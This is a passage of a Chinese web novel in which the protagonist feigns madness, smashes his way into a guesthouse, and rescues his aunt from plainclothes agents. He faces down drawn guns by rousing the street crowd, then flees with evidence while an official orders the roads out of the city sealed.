杨林松十分配合,脖子一缩,装出一副挨了吓的怂样。
可那两只手,就跟焊在铁栅栏上似的,死活不撒开。
他那双透着浑浊的眼珠子直勾勾盯着刀疤脸,活脱脱一头认死理的倔驴:
“不给一百块彩礼,我就砸门!”
门内仨人先是一愣,接着爆发出哄堂大笑。
“砸门?”
刀疤脸笑得直捂肚子,指着大铁门骂道。
“这可是实心钢筋焊的死锁!有能耐你就砸!老子今儿个就站这儿看你个傻子能翻出啥浪花!”
杨林松不嚎了。
顶着门里的嘲笑,他双眼一眯,眼底压着的煞气唰地溢了出来!
浑身肌肉绷紧,大衣底下的骨节发出脆响。
喉咙深处滚过一道猛兽闷吼,双臂较起一股霸王扛鼎的蛮力,攥住铁条往外死命一别!
嘎吱!
金属扭曲声直钻耳膜。
两根鸭蛋粗的实心铁条,竟在这股非人的怪力下,生生向外弯出一个弧度!
刀疤脸嘴里叼着的烟卷,啪嗒掉进雪窝里。
脸上的嘲笑僵成烂泥,眼珠子差点瞪出眼眶。
旁边两人更是张大嘴板子,活像大白天见了鬼。
“疯子!快撒手!”
刀疤脸这下彻底慌了神,抡起铁棍顺着栅栏缝隙,发了疯似的朝杨林松手背乱砸。
砰!砰!
沉闷的撞击声听得**疼。
杨林松硬生生扛下重击,连眼皮都没眨。
手背上立刻鼓起青紫的血包,他却跟不知疼痒似的。
“还我彩礼钱!”
杨林松扯着破嗓子咆哮,双手猛地松开,借着寸劲儿往后撤了半步。
右腿一撑,伞兵靴带着呼啸,精准踹向大铁门生锈的底部承重门轴!
轰隆!
一声闷雷巨响!
年久失修的生铁门轴被这股神力当场踹断,崩飞的碎铁片四下乱溅!
实心大铁门脱离门框,朝院子里拍塌下去!
“快闪!”
刀疤脸惨叫一声,吓得变了调。
三人连滚带爬,在雪泥里摔了个狗吃屎,手脚并用往后躲。
砰!
大铁门砸在院内的积雪上,震起白花花的雪雾。
刀疤脸趴在泥水里,看着离自己脑袋顶不到半尺的铁门边缘,冷汗湿透了后脊梁。
他惊恐抬起头,仰望门外那个高大身影。
这**叫傻子?!
一脚踹翻小半吨重的实心铁门,评书里的猛将也没这么吓人啊!
风雪里。
杨林松踏着倒塌的铁门,大步跨进大院,一半杀气一半傻气。
他见着东西就砸,一路横冲直撞。
院角那两口装满大白菜的粗瓷大缸,被他一脚一个直接踹爆,冰碴子混着烂菜帮子糊了一地。
“不给我一百块!我就把这破院子给拆了!”
这股子骇人破坏力,惊动了整栋招待所楼里的人。
大批便衣从一楼走廊蜂拥而出,十几号人眨眼间就把前院围了个严实。
可面对这个徒手拆铁门的活阎王,愣是没人敢随便掏枪。
上头的命令只是监视封锁,真要是一枪把个来讨彩礼的烈属老百姓给毙了,**影响谁担得起?
“都**愣着干啥!把这疯子给俺按住!”
领头的便衣咬牙怒吼。
四五个壮汉壮着胆子,冲了上去。
杨林松不退反进,迎面就撞了过去!
大手一探,扣住最前面两人的棉袄领子。
小臂青筋暴起,借着腰腹的寸劲儿,原地就是一个大风车猛抡!
两个一百五六十斤的壮汉双脚离地,被丢飞出去三四米,砸在雪地里直哼哼。
没等剩下的人回过神,他左腿一记低扫腿,右肘顺势砸下!
咔嚓!
肋骨断裂的闷响伴着惨叫,两人捂着胸口,疼得弓成了河虾。
这哪儿是打架斗殴,这分明是猛虎入羊群的单方面碾压!
杨林松连抓带摔,大开大合,没有任何花架子,主打一个绝对的力量降维打击。
拦路的便衣接连翻倒,硬是被他凭着一己之力,撕穿了前院防线。
忽然,杨林松耳朵微动。
久经沙场的听觉,敏锐捕捉到了后院倒座房里传来的微弱呻吟。
他迈开大长腿,直冲后院。
穿过垂花门,直奔那间权当禁闭室的破屋。
厚重木门挂着大铜锁。
杨林松连步子都没顿,直接飞起一记窝心脚。
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>哐当!
势大力沉,木屑炸裂,铜锁连带着锁鼻和半块门板,被踹进屋里。
他大步跨入昏暗的屋内,一眼就瞅见瘫软在砖地上的张桂兰。
这个在杨家大院里向来飞扬跋扈的大伯娘,此刻头发散乱,花棉袄上全是黑脚印,进气多出气少。
杨林松眼里没有半点怜悯,单手扯住她的棉袄后领。
左手臂一发力,把这个一百多斤的活人提溜了起来。
他转身往外走,路过门口时右手顺势一弯,抠住那半扇被踹碎的老榆木门板。
一手提人,一手提门。
他跨出禁闭室,将半扇破门和张桂兰丢在后院的雪地上。
这会儿工夫,招待所里几十号人已经从四面八方涌了过来,将后院堵得水泄不通。
黑压压围了一大圈,却没一个人敢再往前凑半步。
瞅瞅前院那满地打滚哀嚎的同伙,再看看面不改色、连气都不带多喘一口的杨林松。
所有便衣干事都觉得头皮发炸。
这场快把屋顶掀翻的骚乱,终于把幕后正主给逼了出来。
郑少华披着呢子大衣,从二楼楼梯快步走下,阴沉着脸出现在廊檐的台阶上。
他扫视全场。
满地打滚的手下,砸破的大铁门,还有被当做垃圾一样扔在雪地里的张桂兰。
自己精心布下的、用来逼杨家就范的死局,竟被一个疯疯癫癫的二愣子,借着讨要彩礼的荒唐名头,砸了个稀巴烂!
郑少华那张常年挂着斯文笑意、自诩运筹帷幄的脸,彻底绷不住了。
面对这个装疯卖傻的底层乡巴佬,**与暴怒直冲天灵盖,面部肌肉不受控制地抽搐起来。
他双眼发红,把省城干部的伪装全撕了。
“掏枪!”
郑少华咆哮出声。
“扰乱社会治安,给我当场击毙这个反**疯子!”
有了这顶反**的高帽子,周围的便衣干事们胆子一壮,纷纷摸向腰间的皮枪套。
拔枪!
拨开保险,上膛!
咔咔咔。
一连串金属撞击的声响,在院子里炸开。
十几根黑洞洞的**,齐刷刷锁定了院子中央的杨林松。
面对这足以把人打成马蜂窝的要命阵仗,杨林松脚底下半步没退。
他反倒迎着十几支****跨出一步,将吓得尿了裤子的张桂兰死死挡在自己身后。
接着,他腰马猛然下沉。
右手扣住禁闭室那半扇木门板的边缘。
起!
伴随着手臂上暴凸的青筋,老榆木门板被他单手抄了起来。
哐!
厚重的木门被他重重顿在身前冻土上,充当一面简易护盾。
朔风怒号,飞雪漫天。
杨林松单手擎着门板,傲立于绝地之中。
一个人,一面残破的木门。
硬是凭借着剽悍气场,压住了十几把枪的杀机,将这场生死对峙的紧绷感,拉爆到了顶点!
第162章 用群众路线怼死特权
招待所后院,积雪踩得稀巴烂。
十几把****的黑窟窿枪口,齐刷刷瞄着杨林松的眉心。
郑少华红着眼珠子,腮帮子上的肉一抽一抽。
杨林松单手擎着老榆木门板,大衣底下的肌肉绷得硬邦邦。
这后院就是个死胡同,真要在这儿开干,十几把枪一轮齐射,门板指定得被打成筛子眼儿!
他眼皮都没抬,脚尖往后一勾,不偏不倚正踹在张桂兰的腰眼子上。
地上瘫成烂泥的张桂兰,被这一脚踹得倒抽凉气,猛地睁开眼。
瞅见十几张要**的脸,还有齐刷刷对准自个儿的**,吓得三魂七魄飞了八丈远,喉咙里爆发出杀猪叫:“嗷呜!”
郑少华抬起胳膊,手指头绷得笔直,只要往下一甩,后院立马就得见血!
就在郑少华嘴唇刚要动的节骨眼儿上。
杨林松突然一仰脖子,扯着嗓子干号起来,那声儿震得耳朵嗡嗡响:
“当官的**抢媳妇啦!不给彩礼还想杀老百姓啊!有没有王法啦!”
这嗓子用了丹田气,穿透力贼强,顺着西北风灌出大院,街上的人都能听见。
嚎完这一嗓子,杨林松一手擎着老榆木门板挡在前头,半蹲着探出另一只胳膊,揪住张桂兰的棉袄后领。
大喝一声:“起!”
他脚下猛一使劲儿,顶着十几把枪口的威慑,一步一步往后**。
伞兵靴在冻得邦硬的土上,生生犁出两道深沟。
“站住!再退开枪了!”领头的便衣举着枪大吼。
杨林松压根不搭理,闷着头一个劲儿往后退。
他这不要命的浑劲儿,硬是逼得身后的便衣不自觉地往两边挪,生怕被他缠上。
一路退到前院,刚才被踹塌的实心大铁门还横在雪地里。
大门一倒,前院直接对着大街敞开了口子。
杨林松刚才那声震天干嚎,早就把街面上的人全招来了。
大批供销社的职工、买菜的大妈、刚下早班的工人,里三层外三层围在招待所门口,乌泱泱一大片。
上百双眼睛探着脑袋往院子里瞅。
“**啦!当官的杀老百姓啦!”杨林松继续扯着破锣嗓子嚎,嗓门儿比刚才还大。
这就是拿群众路线当大帽子压人!
把你姓郑的架在火上烤,看你咋收场!
郑少华从后院追出来,青着脸,后槽牙咬得咯咯响。
在红星大队部,他就看穿杨林松是装疯卖傻,可这小子毒得冒黑水,偏偏选在光天化日、众目睽睽之下把事儿闹大。
现在门口上百号群众瞪着眼睛瞅着,这节骨眼上要是下令开枪打死一个讨彩礼的傻子,性质立马变了。
那可是足以让他吃枪子儿的恶性事件!
郑家手再长,也堵不住这上百张嘴啊!
围观人群里,一个挎着菜篮子的大妈认出了杨林松,拍着大腿嚷嚷起来:
“哎哟喂!那不是杨家村的杨林松吗?杨卫国烈士家的傻儿子啊!”
“啥?烈士遗孤?这帮当官的竟敢拿枪指着烈士遗孤?”
“真造孽啊!逼婚逼得人家跑到招待所讨彩礼,还想开枪**家?这还有王法没了!”
群情激愤,老百姓指指点点的声音越来越大,谴责的吐沫星子都快把招待所淹了。
站在前院的十几名便衣干事,被门外汹涌的**一冲,那股子杀气泄了个精光。
原本端平的枪口,往下垂了几分。
谁也不想在大庭广众之下,背上**烈属的黑锅,那可是要遭天谴的!
杨林松瞅准火候,眼皮一耷拉,索性把这混不吝的傻劲儿演到底。
他单手提着张桂兰,在半空中晃悠了两下,冲着台阶上的郑少华大声叫唤:
“既然你们当官的没钱给彩礼,这黑心大伯娘我就带走,抵那一百块彩礼钱!”
张桂兰在半空中扑腾,尿骚味顺着棉裤腿往下滴,臊得不行。
杨林松一脸认死理的倔样,振振有词:“回家让她给我拉犁耙地!俺一天就给她吃一顿馊糊糊,饿不死就行!”
围观的群众全听愣了,这傻子犯起浑来,真是一根筋到底!
十几个便衣干事也被这荒唐的抵债法子震得头皮发麻,看着单手提大活人还不喘大气的杨林松,眼珠子都直了。
这哪儿是讨彩礼的,分明是煞星登门了!
郑少华站在廊檐下,手背上的青筋根根蹦起。
明知道对方是装的,可胸膛里的邪火噌噌往上冒,烧得五脏六腑都疼。
面对这没法破解的绝户计,还有大门外上百双眼睛,他气得肺管子都要炸了,从牙缝里挤出三个字:“放下枪!”
“组长……”刀疤脸一脸憋屈。
“我让你们把枪放下!听见没有!”郑少华瞪圆了眼睛怒吼。
便衣们不情愿地收起****,枪口彻底朝下,一个个耷拉着脑袋。
杨林松见状,顺手把那块老榆木门板往雪地上一扔,哐当一声响。
他单手提着张桂兰,迎着一地垂下来的枪口,大摇大摆地跨过倒塌的铁门,昂首阔步跨出招待所门槛。
围观的群众自发往两边挪,让出一条道,嘴里还不停嘀咕着。
郑少华死死盯着那个高大的背影,恨不得用目光在他身上凿出几个窟窿。
脱离了招待所的视线,杨林松拐过两个街角,钻进一条背阴的死胡同。
杨金贵正缩在墙根底下瑟瑟发抖,听见动静赶紧抬起头,脸上满是惊恐。
砰的一声,杨林松手一松。
张桂兰重重
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砸在烂泥地里,摔得哎哟哎哟。
“林松……你大伯娘她……”杨金贵连滚带爬凑过去,扶起浑身发臭的老婆,说话都打哆嗦。
杨林松脸上的痴傻劲儿瞬间退得干干净净,垂下眼皮,眼神冷冽:
“带着你婆娘,麻溜滚回村。”
杨林松的声音里没有半点温度。
“再敢出来惹事,我亲手把你们埋在村后头的乱葬岗,没人能找着!”
杨金贵对上他那双眼睛,吓得拼命点头,扶着半死不活的张桂兰,跌跌撞撞往胡同另一头跑。
杨林松收回视线,伸手隔着大衣,用力紧了紧贴在肚皮上的账本布袋。
这玩意儿在,底牌就在!
他弯腰捡起地上的破竹篓,重新背在肩上,迈开长腿,顺着隐蔽的背街小巷,飞快地朝长途汽车站方向跑。
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招待所二楼办公室里,啪的一声响!
一只景德镇的白瓷茶杯被狠狠砸在墙上,摔得粉碎,热水和茶叶溅了一地。
郑少华双手撑着办公桌,大口喘着粗气,额头的汗珠子往下滚。
刚才那小子,用一套最下三滥的撒泼手段,当着他的面毫发无损地走了,这口气他咽不下去!
还没等他喘匀这口气,办公室的门哐当一声被撞开。
一名手下干事连门都没敲,跌跌撞撞冲进来,脸白得跟抹了石灰似的。
“郑组长!出大事了!刚从上头得到的消息!”干事咽了口唾沫,嘴唇直颤。
郑少华直起身,咬着牙:“说!别磨磨唧唧的!”
干事舌头都快捋不直了:“杨、杨林松身上带着要命的铁证,现、现在正准备逃进京城告状去!”
屋里死寂。
郑少华脑子嗡的一声,整个人僵在原地。
脑子里的线索迅速串起来:大清早讨彩礼、故意砸烂大门引群众、顶着枪口全身而退……
原来如此!
这场看似只为救那蠢婆娘的撒泼闹剧,根本就是杨林松的**!
等自己被这烂事儿迷了眼、绊住手脚,人家早就大摇大摆地奔火车站去了!
这是明修栈道暗度陈仓,把他当猴耍了!
耻辱!前所未有的耻辱!
郑少华双眼喷火,一把掀翻了办公桌,文件、笔筒散落一地。
“立刻通知所有检查站和沿途的暗桩!”
郑少华的怒吼声震得玻璃窗嗡嗡响。
“全面封死出城的路线!所有路口、所有车站,连一只苍蝇都不能放出去!绝不能让他上那趟火车!”
干事立正敬礼,转身就往外跑。
招待所大院里,哨声吹响。
吉普车的发动机接连轰鸣,一辆接一辆冲出院门。
一张天罗地网,朝着出城的方向狠狠罩了下去!